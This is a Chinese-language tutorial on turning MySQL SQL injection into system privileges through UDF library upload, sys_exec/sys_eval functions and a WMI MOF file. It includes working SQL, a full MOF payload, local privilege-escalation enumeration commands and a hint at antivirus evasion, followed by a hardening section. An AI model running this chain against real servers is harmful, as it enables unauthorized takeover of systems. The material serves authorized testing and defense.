MySQL注入提权实战:从数据库漏洞到系统权限的完整攻防解析
1. 从注入到提权:一次完整的权限跃迁实战
搞安全测试或者渗透的朋友,对SQL注入肯定不陌生。我们经常能通过一个注入点拿到数据库里的数据,比如管理员账号密码、用户手机号,这就算告一段落了。但很多时候,目标远不止于此。如果这个数据库是MySQL,并且我们获取到的数据库连接权限足够高(比如root),那么故事才刚刚开始——“注入提权”才是真正把数据库漏洞价值最大化的关键一步。简单来说,注入是拿到了“数据库”这间屋子的钥匙,而提权则是利用这把钥匙,想办法拿到整个“服务器”这座大厦的管理员权限。今天要聊的,就是基于MySQL,如何从一次成功的SQL注入出发,完成向系统权限的华丽转身。这不仅仅是CTF比赛里的炫技,在真实的授权安全评估中,理解这个链条能帮你更深刻地评估漏洞的实际危害。
2. 提权路径总览:为什么是UDF和MOF?
当我们通过SQL注入获得了MySQL数据库的高权限连接(通常指具有FILE_PRIV权限,能读写服务器文件)后,摆在我们面前的主要有几种经典的提权思路。理解这些路径的原理和适用场景,比死记命令更重要。
2.1 核心思路:利用MySQL的功能执行系统命令
MySQL本身是一个数据库服务,它默认没有直接执行操作系统命令的功能。因此,所有提权方法的本质,都是“借道”MySQL,让它以自身进程的权限(通常是mysql或mysqld用户)去执行我们想要的系统命令。一旦命令被执行,我们就相当于控制了MySQL服务账户,接下来就是围绕这个账户进行本地提权,最终获取root或Administrator权限。
主要的传统方法有:
- UDF(User Defined Function)提权:这是最强大、最灵活的方式。UDF允许用户编写自定义函数并加载到MySQL中。我们可以创建一个包含执行系统命令功能的UDF动态链接库(.dll或.so),将其上传到服务器,并通过MySQL加载它。之后,就能像调用普通SQL函数一样调用我们的恶意函数来执行命令。成功率很高,但依赖目标系统架构和MySQL版本。
- MOF(Managed Object Format)提权:这是一个在Windows系统上特有的方法,利用了WMI(Windows Management Instrumentation)的一个特性。MySQL的
FILE_PRIV权限允许我们向特定目录(如C:/Windows/system32/wbem/mof/)写入一个.mof文件。该目录下的.mof文件会被系统定时编译执行。我们可以写入一个包含执行命令的VBScript的.mof文件,从而实现命令执行。这个方法在旧版本Windows(如Win2003、XP)上几乎百发百中,但在新系统上由于权限收紧,成功率已大大降低。 - 启动项提权:利用
FILE_PRIV权限,向系统的启动目录写入脚本(如Windows的启动文件夹,Linux的cron计划任务)。当系统重启或特定用户登录时,脚本会自动执行。这个方法不够直接,依赖重启,但在某些特定环境下是可行的备用方案。
2.2 环境侦察:提权前的必备检查清单
在动手之前,盲目操作是大忌。你需要像侦探一样,收集尽可能多的信息来判断哪种方法可行。
首先,确认数据库权限。通过SQL注入点执行以下查询:
SELECT user(); -- 当前连接用户 SELECT super_priv FROM mysql.user WHERE user = user(); -- 是否具有SUPER权限 SELECT file_priv FROM mysql.user WHERE user = user(); -- 是否具有FILE权限FILE权限是读写服务器文件的基础,没有它,UDF和MOF都无从谈起。SUPER权限在某些操作中也有用。
其次,侦察服务器环境。
SELECT @@version; -- MySQL版本 SELECT @@version_compile_os; -- 操作系统类型 SELECT @@plugin_dir; -- MySQL插件目录的路径!至关重要!@@plugin_dir的值就是MySQL寻找UDF动态库的目录。你需要确认我们能否通过注入写入文件到这个目录,以及这个目录的路径是什么(例如,Windows可能是C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\,Linux可能是/usr/lib/mysql/plugin/)。
最后,检查关键目录的写入权限。虽然知道了插件目录,但还需要确认MySQL进程是否有权在该目录创建文件。可以通过尝试写入一个无害文件来测试:
SELECT 'test' INTO OUTFILE 'C:/Windows/system32/test.txt'; -- Windows示例 SELECT 'test' INTO OUTFILE '/tmp/test.txt'; -- Linux示例如果成功,说明具有写权限。对于UDF提权,你需要确保能写入@@plugin_dir;对于MOF提权,则需要能写入C:/Windows/system32/wbem/mof/(Windows)。
注意:在实际渗透中,
INTO OUTFILE可能会因为secure_file_priv系统变量的限制而失败。该变量定义了允许导出文件的目录。你可以通过SHOW VARIABLES LIKE 'secure_file_priv';来查看。如果值为NULL,则禁止导出;如果为具体路径,则只能导出到该路径。这是UDF提权的一个常见障碍。
3. UDF提权详解:手工打造你的“特权函数”
UDF提权是MySQL提权的“瑞士军刀”,一旦成功,你将获得一个稳定的、可通过SQL调用的命令执行后门。整个过程可以分为:制作/获取动态库、上传库文件、创建函数、执行命令。
3.1 动态库的准备与上传
UDF的本质是一个符合MySQL规范的C语言动态链接库。网络上流传着很多现成的库,比如经典的lib_mysqludf_sys.dll(Windows)或lib_mysqludf_sys.so(Linux)。但直接使用他人编译的库风险极高,可能被植入后门。在安全测试中,建议在可控环境自行编译。
对于Windows系统,你需要一个dll文件。可以使用Metasploit框架中的sqlmap自带的UDF库,或者从可信源码编译。假设我们有一个名为udf.dll的库,它导出了一个名为sys_exec的函数(用于执行命令并返回退出码)和sys_eval函数(用于执行命令并返回输出)。
上传的关键在于利用MySQL的SELECT ... INTO DUMPFILE语句。DUMPFILE会原样写入二进制数据,而OUTFILE会在行尾添加换行,可能破坏dll文件。
-- 将本地dll文件的16进制形式,通过注入点写入插件目录 -- 首先,在你的攻击机上将udf.dll转换为16进制字符串。可以用Python或`xxd`命令。 -- 例如,用Python: `with open('udf.dll', 'rb') as f: print(f.read().hex())` -- 假设得到的16进制字符串很长,我们将其分段处理。这里仅为示例,实际需要完整的hex。 -- 创建一个临时表来存储二进制数据 CREATE TABLE temp_udf (data LONGBLOB); -- 将16进制数据插入表中。注意,数据很长,需要拼接。 -- 假设你的hex是 4D5A9000...,使用UNHEX函数转换 INSERT INTO temp_udf (data) VALUES (UNHEX('4D5A9000...(完整的hex字符串)')); -- 将数据从表中写入插件目录的文件 SELECT data FROM temp_udf INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/udf.dll'; -- 清理临时表 DROP TABLE temp_udf;这个过程对注入点的稳定性要求较高,长字符串的传输可能出错。在实际中,工具如sqlmap自动化了这个过程。
对于Linux系统,原理相同,只是库文件是.so,路径是类似/usr/lib/mysql/plugin/。你需要对应架构(x86/x64)的so文件。
3.2 创建函数与命令执行
库文件上传成功后,就可以在MySQL中创建自定义函数来链接这个库。
-- 创建 sys_exec 函数,链接到我们上传的库中的对应函数 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll'; -- Windows -- 对于Linux: CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';如果提示“ERROR 1126 (HY000): Can‘t open shared library‘...”,通常意味着库文件没找到(路径不对)、架构不匹配(32位/64位),或者库文件损坏。
创建成功后,这个函数就可以像内置函数一样使用了:
-- 调用 sys_exec 执行命令,返回命令的退出码 SELECT sys_exec('whoami'); -- 如果库提供了 sys_eval 函数,它会更实用,因为它返回命令的输出 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; SELECT sys_eval('whoami');当看到SELECT sys_eval('whoami');返回了mysql或mysqld时,恭喜你,你已经以数据库服务用户的身份在执行系统命令了。
3.3 实操心得与避坑指南
- 插件目录权限是最大拦路虎:现代操作系统和MySQL的默认安装越来越安全。
@@plugin_dir目录通常只允许root或Administrator以及mysql用户本身写入。即使你有FILE权限,MySQL进程也可能因为目录的访问控制列表(ACL)而无法写入。这是UDF提权失败最常见的原因。 secure_file_priv的绕过:如果secure_file_priv被设置为一个特定目录(如/var/lib/mysql-files/),你无法直接写入插件目录。可以尝试:- 查看该目录是否可通过符号链接(symlink)指向插件目录?(通常不行,权限不足)。
- 寻找Web目录等MySQL有写权限的地方,上传库文件,然后尝试通过
mv或copy命令(通过已创建的UDF函数执行)将文件移动到插件目录。这需要mysql用户对目标目录有移动文件的权限。
- 架构兼容性问题:务必使用与目标MySQL和操作系统匹配的UDF库。64位的MySQL需要64位的库。用
file命令检查一下你准备的库文件。 - 杀毒软件:在Windows环境下,上传的恶意dll文件很可能被防病毒软件实时检测并删除。需要做免杀处理,或者寻找已白名单的、合法的dll进行劫持(难度较高)。
4. MOF提权详解:利用Windows管理规范的“老派”方法
MOF提权是Windows系统上一个非常经典的漏洞利用方式,严格来说它利用的是WMI的漏洞,而非MySQL的漏洞。MySQL在这里只是作为一个文件写入的工具。
4.1 MOF文件的工作原理
在Windows系统中,C:/Windows/system32/wbem/mof/目录下的.mof文件会被WMIProvhost.exe进程定期(约每5-10秒)编译执行。这个功能本意是让管理员方便地部署WMI类。如果我们能在这个目录下写入一个包含恶意VBScript代码的.mof文件,该代码就会以SYSTEM权限执行。
4.2 利用MySQL写入MOF文件
前提同样是MySQL连接具有FILE权限,并且能写入上述系统目录。由于该目录权限通常很严格,在Windows Vista及之后的系统上,mysql用户账户基本没有写入权限,因此该方法主要适用于Windows Server 2003等老旧系统。
MOF文件内容示例(nullevt.mof):
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"cmd.exe /c whoami > C:\\windows\\temp\\test.txt\"\n"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };这个文件创建了一个WMI事件过滤器,当系统时间秒数为5时(即每分钟左右触发一次),触发一个ActiveScript事件消费者,执行一段VBScript,这里运行了whoami命令并将结果输出到文件。
通过MySQL注入写入:
SELECT unhex('...MOF文件的16进制内容...') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/nullevt.mof';写入后,等待最多一分钟,检查C:\windows\temp\test.txt文件是否生成。如果生成且内容是nt authority\system,则提权成功。
4.3 MOF提权的局限性
- 权限问题:如前所述,现代Windows系统(如Win7, Win10, Server 2008+)对
system32目录的写入权限管控极严,非SYSTEM或TrustedInstaller账户几乎无法写入。这使得该方法在当今环境下基本失效。 - 临时性:MOF提权产生的进程是临时的,命令执行完就结束。虽然可以通过写入启动项、创建服务等方式将权限持久化,但初始的写入点已经很难获得。
- 日志记录:WMI操作会在系统日志中留下记录,容易被发现。
5. 本地信息收集与权限提升
无论通过UDF还是MOF,当你获得了一个mysql用户权限的命令执行shell后,你得到的通常是一个低权限的系统账户。接下来的目标是将其提升为root或Administrator。这就是常规的本地提权环节,与MySQL关系不大了,但却是完整攻击链的一部分。
5.1 Linux系统信息收集与提权
在Linux的mysql用户shell下:
- 系统信息:
uname -a,cat /etc/issue,cat /etc/*-release - 内核版本:内核漏洞是提权的重要途径。
cat /proc/version - 用户和权限:
id,whoami,sudo -l(如果mysql用户有sudo权限且不需要密码,那简直是“意外之喜”)。 - 进程与服务:
ps aux,netstat -tulnp,寻找以root运行的服务或进程。 - SUID/GUID文件:
find / -perm -u=s -type f 2>/dev/null,查找设置了SUID位的文件,如find,vim,bash,cp,mv等,如果属于root,可能被利用。 - 计划任务:
crontab -l,ls -la /etc/cron*, 查看是否有全局计划任务,其脚本是否可写。 - 利用内核漏洞:根据收集到的内核版本,搜索对应的公开漏洞(如DirtyCow, CVE-2021-4034等),下载或编译对应的exp,上传并执行。
5.2 Windows系统信息收集与提权
在Windows的mysql用户shell(或通过UDF执行命令)下:
- 系统信息:
systeminfo, 查看系统版本、补丁情况。 - 用户信息:
whoami /priv, 查看当前用户权限。net user,net localgroup administrators查看用户和组。 - 服务:
sc query,wmic service get name,displayname,pathname,startmode,寻找以SYSTEM运行、且二进制文件路径(pathname)可写的服务。如果能替换服务对应的exe文件,重启服务后就能以SYSTEM权限执行我们的代码。 - 计划任务:
schtasks /query /fo LIST /v,查看计划任务,寻找以高权限运行且操作可写的任务。 - AlwaysInstallElevated:检查注册表项
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated和HKLM\...是否设置为1。如果是,则任何MSI安装包都会以高权限运行。 - 利用未打补丁的漏洞:使用
systeminfo的输出,与已知的提权漏洞列表(如Juicy Potato, PrintNightmare, CVE-2021-1675等)进行比对,寻找可用的本地提权EXP。
6. 防御视角:如何让你的MySQL“固若金汤”
站在防御者角度,了解攻击手法才能有效布防。
- 最小权限原则:为Web应用连接数据库分配绝对最小权限的账户。永远不要使用
root或具有FILE、SUPER、PROCESS等敏感权限的账户作为应用连接账户。只授予其特定库、特定表的SELECT、INSERT、UPDATE、DELETE权限。 - 杜绝SQL注入:这是所有问题的源头。使用参数化查询(Prepared Statements)或ORM框架,严格过滤和校验所有用户输入。
- 配置
secure_file_priv:在MySQL配置文件(my.cnf或my.ini)中,设置secure_file_priv为一个非空、特定的目录(如/var/lib/mysql-files/),并确保该目录权限严格,禁止MySQL访问其他目录。最佳实践是将其设置为NULL,彻底禁用LOAD DATA INFILE和SELECT ... INTO OUTFILE语句。 - 严格控制
plugin_dir权限:确保MySQL的插件目录只对mysql用户和root用户可写,其他用户无任何权限。并定期检查该目录下是否有来历不明的.dll或.so文件。 - 运行于非特权账户:确保MySQL服务进程以独立的、低权限的系统用户(如
mysql)运行,而不是root。这可以限制即使被攻破,攻击者获得的初始权限也较低。 - 网络隔离:将MySQL数据库部署在内网,禁止公网直接访问。通过防火墙策略,只允许特定的应用服务器IP访问数据库的3306端口。
- 定期更新与审计:及时为MySQL和操作系统打上安全补丁。启用MySQL的通用查询日志或审计插件,定期审查异常查询,特别是涉及
INTO DUMPFILE、CREATE FUNCTION、访问mysql.user表等敏感操作的日志。 - 文件系统权限加固:在Windows上,严格限制对
C:\Windows\system32\wbem\mof\等敏感目录的写入权限。在Linux上,使用适当的文件系统访问控制。
7. 总结与反思:技术之外的思考
从一次简单的SQL注入,到最终可能拿到服务器最高权限,这个链条清晰地展示了安全风险的传导性。它告诉我们,一个看似“仅泄露数据”的中危漏洞,在特定条件下完全可能演变成导致全线失守的高危甚至严重漏洞。
在渗透测试中,掌握UDF这类提权技术是专业能力的体现。但在实际工作中,尤其是在甲方安全建设或蓝队防御中,我们的重心更应该放在切断这个链条的起始环节——即通过安全开发、严格配置和权限最小化,让攻击者即使发现了注入点,也无法获得FILE权限,或者获得权限后也寸步难行。安全是一个体系,任何一个环节的短板都可能被利用。理解攻击者的全套手法,不是为了滥用,而是为了能更有针对性地构建起真正有效的防御纵深。每一次成功的防御,都是对攻击链最深刻的理解。